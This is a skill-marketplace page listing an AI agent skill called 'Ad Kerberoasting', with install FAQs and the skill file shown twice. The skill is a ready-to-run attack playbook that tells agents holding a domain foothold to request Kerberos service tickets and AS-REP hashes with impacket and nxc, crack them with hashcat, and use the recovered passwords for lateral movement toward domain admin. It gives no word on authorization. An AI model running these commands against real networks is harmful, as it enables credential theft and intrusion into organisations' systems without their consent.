How do I install the Ad Kerberoasting skill?

Run npx skillmds@latest add noorqureshi/ad-kerberoasting in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Ad Kerberoasting safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Ad Kerberoasting?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Ad Kerberoasting free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Ad Kerberoasting?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Ad Kerberoasting by noorqureshi — Agent Skill

Name: Ad Kerberoasting
Author: NoorQureshi

Ad Kerberoasting

Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.

NoorQureshi Updated Sep 17, 2026

File contents

Kerberoasting & AS-REP roasting

When it applies

You have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recover plaintext passwords offline by cracking Kerberos-issued material — no lockout risk.

Why it works

Kerberoasting: any authenticated user can request a service ticket (TGS) for any account with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.
AS-REP roasting: accounts with "do not require Kerberos preauth" hand out an AS-REP encrypted with the user's key to anyone — no creds needed, just the username.

Method

Kerberoast (need creds): impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request (or nxc ldap DC -u user -p pass --kerberoasting out.txt). Service accounts are prime targets.
AS-REP roast (no creds needed): impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -request — pulls hashes for pre-auth-disabled accounts.
Crack offline: hashcat -m 13100 (TGS) / -m 18200 (AS-REP) with rockyou + rules.
Use the creds: service accounts are often privileged → lateral movement / DA path (ad-pivot-arsenal, network-pivoting-tunneling).

Gotchas

Offline cracking = no account lockout, but a weak-password dependency; strong passwords resist.
Target high-value SPNs (SQL, web, admin service accounts) first.
Clock skew breaks Kerberos — sync time to the DC (ntpdate/faketime) if you get KRB_AP_ERR_SKEW.

Verify success

A cracked plaintext password for a domain account, then authenticated access with it.

References

impacket GetUserSPNs/GetNPUsers; hashcat modes 13100/18200; "Kerberoasting" (Harmj0y).

---name: ad-kerberoastingdescription: Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.---# Kerberoasting & AS-REP roasting## When it appliesYou have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recoverplaintext passwords offline by cracking Kerberos-issued material — no lockout risk.## Why it works- **Kerberoasting**: any authenticated user can request a service ticket (TGS) for any account with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.- **AS-REP roasting**: accounts with "do not require Kerberos preauth" hand out an AS-REP encrypted with the user's key to *anyone* — no creds needed, just the username.## Method1. **Kerberoast** (need creds): `impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request` (or `nxc ldap DC -u user -p pass --kerberoasting out.txt`). Service accounts are prime targets.2. **AS-REP roast** (no creds needed): `impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -request` — pulls hashes for pre-auth-disabled accounts.3. **Crack offline**: `hashcat -m 13100` (TGS) / `-m 18200` (AS-REP) with `rockyou` + rules.4. **Use the creds**: service accounts are often privileged → lateral movement / DA path (`ad-pivot-arsenal`, `network-pivoting-tunneling`).## Gotchas- Offline cracking = no account lockout, but a weak-password dependency; strong passwords resist.- Target high-value SPNs (SQL, web, admin service accounts) first.- Clock skew breaks Kerberos — sync time to the DC (`ntpdate`/`faketime`) if you get KRB_AP_ERR_SKEW.## Verify successA cracked plaintext password for a domain account, then authenticated access with it.## Referencesimpacket GetUserSPNs/GetNPUsers; hashcat modes 13100/18200; "Kerberoasting" (Harmj0y).

Frequently asked questions